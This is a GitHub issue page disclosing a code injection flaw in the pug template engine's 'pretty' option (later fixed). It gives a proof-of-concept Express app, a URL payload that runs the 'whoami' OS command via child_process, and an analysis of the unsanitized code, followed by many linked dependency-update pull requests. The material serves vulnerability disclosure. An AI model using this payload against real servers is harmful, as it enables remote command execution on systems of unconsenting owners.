New issue

Jump to bottom

Code injection vulnerability in visitMixin and visitMixinBlock through "pretty" option #3312

Closed **CykuTW** opened this issue on Feb 10, 2021 · 4 comments

CykuTW commented on Feb 10, 2021

Hello,

I found that pug may allow an attacker to inject arbitrary javascript code if an attacker can control `options.pretty` .

Pug Version: 3.0.0

Proof of concept

Here is an vulnerable example including 2 files: **app.js** and **index.pug**.
In the example, there is only one variable "pretty" that is controlled by user, and the variable is not used in any dangerous functions.

app.js

```
const express = require('express')
const app = express()
app.set('view engine', 'pug')
app.get('/', function (req, res) {
    res.render('index', { pretty: req.query.p })
})
app.listen(5000)
```

views/index.pug

```
html
  head
  body
    mixin print(text)
      p= text

    +print('Hello, world')
```

But if we visit URL below, it would lead to execute OS command "whoami".

```
http://localhost:5000/?p=');process.mainModule.constructor._load('child_process').exec('whoami');_=('
```

Detail

This section will point the location of vulnerability and explain why I assume it's an issue.

First of all, when Compiler object is initialized, `options.pretty` would be saved in `this.pp` .

pug/packages/pug-code-gen/index.js
Lines 50 to 56 in `06baa52`

```
50    function Compiler(node, options) {
51      this.options = options || {};
52      this.node = node;
53      this.bufferedConcatenationCount = 0;
54      this.hasCompiledDoctype = false;
55      this.hasCompiledTag = false;
56      this.pp = options.pretty || false;
```

The `visitMixinBlock` function is simple, `this.pp` is pushed into `this.buf` array which stores the compiled code of template without any sanitization.

visitMixinBlock:

pug/packages/pug-code-gen/index.js
Lines 452 to 459 in `06baa52`

```
452    visitMixinBlock: function(block) {
453      if (this.pp)
454        this.buf.push(
455          "pug_indent.push('" + Array(this.indents + 1).join(this.pp) + "');"
456        );
457      this.buf.push('block && block();');
458      if (this.pp) this.buf.push('pug_indent.pop();');
459    },
```

The `visitMixin` is basically same as `visitMixinBlock` , `this.pp` is pushed without any sanitization at line 507.

visitMixin:

pug/packages/pug-code-gen/index.js
Lines 487 to 508 in `06baa52`

```
487    visitMixin: function(mixin) {
488      var name = 'pug_mixins[';
489      var args = mixin.args || '';
490      var block = mixin.block;
491      var attrs = mixin.attrs;
```

```
    var attrsBlocks = this.attributeBlocks(mixin.attributeBlocks);
    var pp = this.pp;
    var dynamic = mixin.name[0] === '#';
    var key = mixin.name;
    if (dynamic) this.dynamicMixins = true;
    name +=
      (dynamic
```

If we look at how other functions handle options variables, we can see that they are all sanitized by stringify.
(this.prettyIndent is implemented with this.buffer, and this.buffer always sanitizes variable with stringify.)

with `this.prettyIndent` :

pug/packages/pug-code-gen/index.js
Line 427 in `06baa52`

```
427      this.prettyIndent(1, true);
```

with `this.buffer` :

pug/packages/pug-code-gen/index.js
Line 475 in `06baa52`

```
475      if (this.doctype) this.buffer(this.doctype);
```

with `stringify` :

pug/packages/pug-code-gen/index.js
Line 148 in `06baa52`

```
148      stringify(this.options.includeSources) +
```

The **visitMixin** and **visitMixinBlock** are the only two functions I found that are missing sanitization.
I think it may be an issue.

👍 13 🎉 8 👀 9

ForbesLindesay commented on Feb 28, 2021 Member

I will release a fix as soon as possible. If you find any security vulnerabilities in the future, please follow the policy to report them: https://github.com/pugjs/pug/blob/master/SECURITY.md

Posting security vulnerabilities in public issue trackers can lead to very serious real world harm. Please do not do it.

👍 1 🎉 3

rollingversions bot mentioned this issue on Feb 28, 2021

fix: sanitise and escape the `pretty` option #3314

Merged

ForbesLindesay closed this as completed on Feb 28, 2021

CykuTW commented on Mar 1, 2021 Author

Thank you. And sorry I didn't notice the policy file. This mistake won't happen again.

👍 5 😕 3

sync-by-unito bot mentioned this issue on Mar 2, 2021

chore(deps): bump pug-code-gen from 3.0.1 to 3.0.2 lokalise/i18n-ally#490

Closed

This was referenced on Mar 2, 2021

fix(deps): update dependency pug to v3.0.1 [security] JustinBeckwith/cloudcats#2010

Merged

fix(deps): update dependency pug to v3.0.1 [security] stefee/letter-press#31

Merged

chore(deps): update dependency pug to 3.0.1 [security] heycalmdown/miniseminar#169

Merged

Update dependency pug to v3.0.1 [SECURITY] nusmodifications/nusmods#3260

Merged

chore(deps): update dependency pug to v3.0.1 [security] donmahallem/ente#637

Merged

chore: update dependency pug to v3 [security] QuentinRoy/lightmill-js#81

Closed

Update dependency pug to v3 [SECURITY] rinsuki/sea#1103

Merged

Update dependency pug to v3.0.1 [SECURITY] hmcts/cnp-plum-frontend#72

Merged

chore(deps): update dependency pug to v3 [security] - autoclosed algolia/algoliasearch-helper-js#815

Closed

chore(deps): update dependency pug to v3.0.1 [security] - autoclosed lit-kansai-members/music#315

Closed

Update dependency pug to v3 [SECURITY] - autoclosed SonyaMoisset/meteo#60

Closed

Update dependency pug to v3.0.1 [SECURITY] PureBhaktiArchive/audioseva#585

Merged

chore(deps): update dependency pug to v3.0.1 [security] Yama-Tomo/theater-schedule#224

Merged

Update dependency pug to v3 [SECURITY] jamesjnadeau/jamesjnadeau.com#37

Open

chore: update dependency pug to v3 [security] - autoclosed QuentinRoy/Marking-Menu#68

Closed

Update dependency pug to v3.0.1 [SECURITY] - autoclosed mathigon/parser#21

Closed

build: update dependency pug to ~3.0.0 [security] wopian/wopian.me#137

Merged

Update dependency pug to v3.0.1 [SECURITY] t--takai/NuxtBoilerplate#263

Merged

Update dependency pug to v3.0.1 [SECURITY] t--takai/static-social-logo-svg#176

Merged

Update dependency pug to v3.0.1 [SECURITY] t--takai/NuxtStarter#214

Merged

chore(deps): update dependency pug to v3.0.1 [security] MartinKanera/projects-storage#273

Open

chore(deps): update dependency pug to v3.0.1 [security] pixelastic/norska#118

Merged

chore(deps): update dependency pug to 3.0.1 [security] heycalmdown/notion-mermaid#18

Open

chore(deps): update dependency pug to v3.0.1 [security] Sonia-corporation/sonia-discord#1325

Merged

chore(deps): update dependency pug to v3.0.1 [security] - autoclosed xmlking/ngx-starter-kit#828

Closed

232 hidden items

Load more...

This was referenced on Apr 26, 2021

fix(deps): update dependency pug to v3 [security] PFigs/ws-router#32

Open

Update dependency pug to 3.0.1 [SECURITY] benhalverson/stripe-app#71

Open

Update dependency pug-code-gen to 2.0.3 [SECURITY] benhalverson/stripe-app#72

Open

Update dependency pug to v3 [SECURITY] typescript-nuxtjs-boilerplate/typescript-nuxtjs-boilerplate#41

Open

Update dependency pug to v3 [SECURITY] magishift/magishift.core#53

Open

Update dependency pug to 3.0.1 [SECURITY] yoanmarchal/boostrap-ds#63

Open

Update dependency pug-code-gen to 2.0.3 [SECURITY] yoanmarchal/boostrap-ds#64

Open

chore(deps): update dependency pug to v3 [security] JounQin/blog#388

Merged

chore(deps): update dependency pug-code-gen to 2.0.3 [security] CodeTanzania/majifix-changelog#120

Open

This was referenced on May 5, 2021

Update dependency pug to v3 [SECURITY] ik-learning/learnit#2

Merged

chore(deps): update dependency pug-code-gen to 2.0.3 [security] js-items/knex#56

Open

chore(deps): update dependency pug to 3.0.1 [security] js-items/foundation#37

Open

chore(deps): update dependency pug-code-gen to 2.0.3 [security] js-items/foundation#38

Open

chore(deps): update dependency pug-code-gen to 2.0.3 [security] js-items/express#54

Open

chore(deps): update dependency pug to v3 [security] vpdb/website#305

Open

chore(deps): update dependency pug-code-gen to 2.0.3 [security] kube-js/kube-ts-react-client#166

Open

chore(deps): update dependency pug to 3.0.1 [security] vatson/rollup-plugin-vuetify#77

Open

chore(deps): update dependency pug-code-gen to 2.0.3 [security] kube-js/kube-ts-server#151

Open

chore(deps): update dependency pug-code-gen to 2.0.3 [security] js-items/ky#51

Open

jenglish added a commit to jenglish/ssptool that referenced this issue on May 11, 2021

`Upgrade pug to version 3.` … `e78c00c`

This was referenced on May 23, 2021

Update dependency pug to 3.0.1 [SECURITY] - autoclosed ebatetsu/fast_news#23

Closed

Update dependency pug-code-gen to 2.0.3 [SECURITY] - autoclosed ebatetsu/fast_news#24

Closed

This was referenced on Jun 14, 2021

chore(deps): update dependency pug to 3.0.1 [security] - autoclosed swapagarwal/swag-for-dev#830

Closed

Update dependency pug to 3.0.1 [SECURITY] Qualy-org/qualy-presenter#78

Open

codebrewery added a commit to codebrewery/UPM-Proxy-GitHub that referenced this issue on Jun 27, 2021

`UPDATE pug version` … ✓ `5bab00c`

renovate bot mentioned this issue on Jul 15, 2021

fix(deps): update dependency pug to v3 [security] hoangnguyennn/express-demo#4

Open

1 task

renovate bot mentioned this issue on Jul 26, 2021

chore(deps): update dependency pug to v3.0.1 [security] freeCodeCamp/testable-projects-fcc#1335

Merged

1 task

renovate bot mentioned this issue on Aug 5, 2021

chore(deps): update dependency pug to 3.0.1 [security] Cantara/Whydah-Openidconnect-Testfrontend#64

Merged

1 task

ZenithalHourlyRate pushed a commit to mirrorz-org/mirrorz that referenced this issue on Aug 5, 2021

`update pug #CVE-2021-21353` … `66260c7`

alexkxo mentioned this issue on Oct 4

Patch d'une vulnérabilité reliée aux dépendances du projet alexkxo/calibre#9

Merged

7 tasks

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants